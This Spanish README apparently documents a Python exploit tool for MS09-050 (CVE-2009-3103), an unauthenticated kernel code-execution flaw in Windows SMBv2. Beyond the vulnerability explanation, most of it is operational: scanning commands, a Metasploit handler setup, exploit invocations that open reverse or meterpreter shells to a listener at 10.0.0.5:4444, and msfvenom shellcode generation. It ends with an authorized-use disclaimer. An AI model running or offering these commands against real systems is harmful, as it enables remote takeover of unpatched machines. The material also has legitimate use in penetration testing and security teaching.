Exploit en Python para MS09-050 (CVE-2009-3103), desbordamiento de búfer en srv2.sys de SMBv2, con escáner de vulnerabilidades, autodetección de arquitectura y payloads de reverse shell para x86/x64.
CVE-2009-3103
Windows Vista y Server 2008 introdujeron SMBv2 con un nuevo controlador de kernel, srv2.sys. Este controlador no valida el campo Process Id High en las solicitudes de negociación SMB. Al enviar un valor especialmente diseñado en este campo, un atacante provoca que srv2.sys indexe en una tabla de punteros a funciones con un valor controlado, desreferenciando una dirección proporcionada por el atacante.
El resultado es la ejecución de código arbitrario en contexto de kernel, sin necesidad de autenticación. El atacante solo necesita alcanzar el puerto 445.
Microsoft parcheó esto en octubre de 2009 (KB975517). Cualquier sistema Vista SP1/SP2 o Server 2008 SP1 sin parchear es vulnerable.
| SO Objetivo | Arquitectura |
|---|
| Windows Vista SP1 | x86 |
| Windows Vista SP2 | x86 / x64 |
| Windows Server 2008 SP1 | x86 / x64 |
| Windows Server 2008 SP1 (pre-R2) | x64 |
--msf-payload para elegir un payload personalizado-s)[+] éxito, [-] error, [!] advertencia, [*] informacióngit clone https://github.com/bytejmp/MS09-050.git
cd MS09-050
Requisitos:
rpcclient (del paquete smbclient), usado para desencadenar el payload tras la inyecciónmsfvenom, solo necesario si se usa la opción --msfvenomEn Debian/Ubuntu:
sudo apt install smbclient
En Arch Linux:
sudo pacman -S smbclient
python3 MS09.py scan -t 192.168.1.10
Salida:
[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050
Usa un stager meterpreter/reverse_tcp. Inicia primero tu handler:
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"
Luego ejecuta el exploit:
python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444
python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64
python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444
Genera el shellcode en bruto una vez y reutilízalo sin msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin
Luego pásalo al exploit:
python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86
$ python3 MS09.py -h
usage: MS09.py [-h] {scan,exploit} ...
MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)
positional arguments:
{scan,exploit} Operation mode
scan Scan target for MS09-050 vulnerability
exploit Send exploit to target
$ python3 MS09.py exploit -h
usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
(--payload | --msfvenom | -s FILE)
[-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]
options:
-t, --target Target IP address
-P, --port SMB port (default: 445)
-a, --arch Target architecture (auto-detected if omitted)
--payload Use built-in reverse shell payload (no Metasploit needed)
--msfvenom Generate shellcode with msfvenom
--msf-payload msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
-s, --shellcode Path to raw shellcode file
-l, --lhost Listener IP address
-p, --lport Listener port
MS09/
├── MS09.py # Main entry point
├── README.md
└── lib/
├── __init__.py
├── output.py # Standardized output formatting
├── scanner.py # SMBv2 vulnerability scanner
├── payloads.py # Built-in shellcode (reverse TCP shell)
└── exploit.py # Exploit buffer construction and delivery
Negotiate Protocol Request de SMB1 para identificar la versión del SO y la arquitectura del objetivosrv2.sysEsta herramienta se proporciona únicamente para pruebas de penetración autorizadas y fines educativos.
El acceso no autorizado a sistemas informáticos es un delito penal en la mayoría de las jurisdicciones. Debe obtener permiso explícito por escrito del propietario del sistema antes de usar esta herramienta contra cualquier objetivo. Los autores no asumen ninguna responsabilidad y no son responsables de ningún uso indebido o daño causado por este software.
Al usar esta herramienta, usted acepta que:
Usa responsablemente. Hackea éticamente.